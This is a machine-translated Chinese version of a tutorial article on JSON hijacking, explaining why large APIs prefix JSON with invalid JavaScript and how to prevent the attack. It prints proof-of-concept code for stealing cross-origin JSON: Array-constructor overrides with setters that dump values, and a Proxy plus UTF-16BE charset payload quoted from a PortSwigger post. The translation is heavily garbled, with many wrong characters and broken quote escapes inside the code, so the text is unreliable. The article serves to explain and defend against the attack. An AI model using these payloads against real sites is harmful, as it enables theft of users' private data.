作者 | Antony Garand

译者 | 无明

如果你有在浏览器中查看过发给大公司 API 的要求,你可能会把稳到,JSON 前面会有一些奇怪的 JavaScript:

phpchr0为什么Facebook的API以一个轮回作为开首 JavaScript

为什么他们会用这几个字节来让 JSON 失落效?

为了保护你的数据

如果没有这些字节,那么有可能任何网站都可以访问这些数据。

这个漏洞被称为 JSON 挟制:

https://lmddgtfy.net/?q=JSON%20hijacking

也便是网站可以从这些 API 中提取 JSON 数据。

起 源

在 JavaScript 1.5 及更早版本中,可以覆盖原始类型工具的布局函数,并利用括号调用覆盖的版本。

你可以这样:

function Array(){ alert('You created an array!');}var x = [1,2,3];

这样就会弹出 alert!

利用以下脚本更换 var x,攻击者就可以阅读你的电子邮件!

这是通过在加载外部脚本之前覆盖 Array 布局函数来实现的。

<script src=\公众https://gmail.com/messages\"大众></script>数据提取

纵然你重载告终构函数,仍旧可以通过 this 来访问它。

这是一个代码片段,它将 alert 数组的所有数据:

function Array() { var that = this; var index = 0; // Populating the array with setters, which dump the value when called var valueExtractor = function(value) { // Alert the value alert(value); // Set the next index to use this method as well that.__defineSetter__(index.toString(),valueExtractor ); index++; }; // Set the setter for item 0 that.__defineSetter__(index.toString(),valueExtractor ); index++;}

在创建数组后,它们的值将被 alert 出来!

ECMAScript 4 提案中已修复了这个问题,我们现在无法再覆盖大多数原始类型的原型,例如 Object 和 Array。

只管 ES4 从未发布,但紧张浏览器在创造后很快就修复了这个漏洞。

在本日的 JavaScript 中,你仍旧可以利用类似的行为,但它受限于你创建的变量,或者不该用括号创建的工具。

这是之前的一个修订版本:

// Making an arrayconst x = [];// Making the overriden methodsx.copy = [];const extractor = (v) => { // Keeping the value in a different array x.copy.push(v); // Setting the extractor for the next value const currentIndex = x.copy.length; x.__defineSetter__(currentIndex, extractor); x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]); // Logging the value console.log('Extracted value', v);};// Assigning the setter on index 0 x.__defineSetter__(0, extractor);x.__defineGetter__(0, ()=>x.copy[0]);// Using the array as usualx[0] = 'zero';x[1] = 'one';console.log(x[0]);console.log(x[1]);

这是一个利用 Array 关键字创建数组的版本:

function Array(){ console.log(arguments);}Array(\"大众secret\"大众,\"大众values\"大众);

如你所见,你添加到数组中的数据被记录下来,但功能保持不变!

修复方案并没有阻挡利用 Array 来创建数组,而是在利用括号创建工具时逼迫利用原生实现,而不是自定义函数。

这意味着我们仍旧可以创建一个 Array 函数,但不能与方括号([1,2,3])一起利用。

如果我们利用 x = new Array(1,2,3) 或 x = Array(1,2,3),它仍将被调用,但不会给 JSON 挟制留下可趁之机。

新的变体

我们知道旧版本的浏览器很随意马虎受到这个漏洞的攻击,那么现在呢?

随着最近 EcmaScript 6 的发布,添加了很多新功能,例如 Proxies!

来自 Portswigger 的 Gareth Heyes 在博客(https://portswigger.net/blog/json-hijacking-for-the-modern-web)上先容了这个漏洞的新变体,它仍旧许可我们从 JSON 端点盗取数据!

通过利用 Proxies(而不是 Accessor),我们可以盗取到任意创建的变量,无论它的名称是什么。

它可以像 Accessor 一样,但可以访问任意可访问或写入属性。

利用这个和其余一个技巧,就可以再次盗取数据!

UTF-16BE 是一个多字节字符集,一个字符由两个字节组成。
例如,如果你的脚本以 [“作为开头,它将被视为字符 0x5b22 而不是 0x5b 0x22。
0x5b22 恰好是一个有效的 JavaScript 变量 =)。

利用这个脚本:

<script charset=\公众UTF-16BE\"大众 src=\"大众external-script-with-array-literal\公众></script>

通过利用这个脚本中的一些受控数据和移位脚本,我们就可以再次渗透数据!

这是 Gareth 末了的 POC,摘自他的博文:

<!doctype HTML><script>Object.setPrototypeOf(__proto__,new Proxy(__proto__,{ has:function(target,name){ alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); })); }}));</script><script charset=\"大众UTF-16BE\公众 src=\"大众external-script-with-array-literal\"大众></script><!-- script contains the following response: [\"大众supersecret\"大众,\"大众<?php echo chr(0)?>aa\"大众] -->

我不会深入阐明这个方法,而是建议你阅读他的帖子,以获取更多信息。

预 防

以下是 OWASP 的官方建议:

https://www.owasp.org/index.php/AJAX_Security_Cheat_Sheet#Always_return_JSON_with_an_Object_on_the_outside

利用 CSRF 保护,如果不存在安全标头或 csrf 令牌,就不返回数据,以防止被利用。
始终将 JSON 作为工具返回。

末了的办理方案很有趣。

在 Firefox 和 IE 中,这个是有效的:

x = [{\"大众key\"大众:\"大众value\"大众}]x = {\"大众key\"大众:\"大众value\"大众}[{\"大众key\"大众:\"大众value\公众}]{key: \"大众value\"大众}

但这样弗成:

{\"大众key\"大众:\"大众value\"大众}

它之以是无效是由于 Firefox 和 IE 认为括号是块语句的开头,而不是创建工具。

没有引号的符号{key:“value”}被视为标签,值被视为一个语句。

结 论

虽然这些东西在本日可能是无效的,但我们永久不会知道来日诰日将会带来什么新的缺点,因此我们仍应尽力阻挡 API 被利用。

如果我们把这个 StackOverflow 答案视为天经地义,我们就很随意马虎受到当代变体的影响,因此仍旧可能被黑客入侵:

https://stackoverflow.com/questions/16289894/is-json-hijacking-still-an-issue-in-modern-browsers

谷歌和 Facebook 在 JSON 数据之前添加无效的 JavaScript 或无限循环,OWASP 也列出了其他替代方案。

英文原文

https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob

本文彩蛋

硅谷一贯以其“不断创新、鼓励冒险、原谅失落败、崇尚竞争、平等开放”的文化有名于世。
许多公司从一个灵感迸发的火苗,在这里长成参天算夜树,Facebook 正是个中典范。
究竟硅谷公司里有哪些令人着迷的工程师文化,可以让人管中窥豹略见一斑呢?关注微信"大众年夜众号InfoQ 并后台回答关键词:硅谷1,获取一篇以 Facebook 为例的项目开拓流程和工程师的绩效管理机制文章。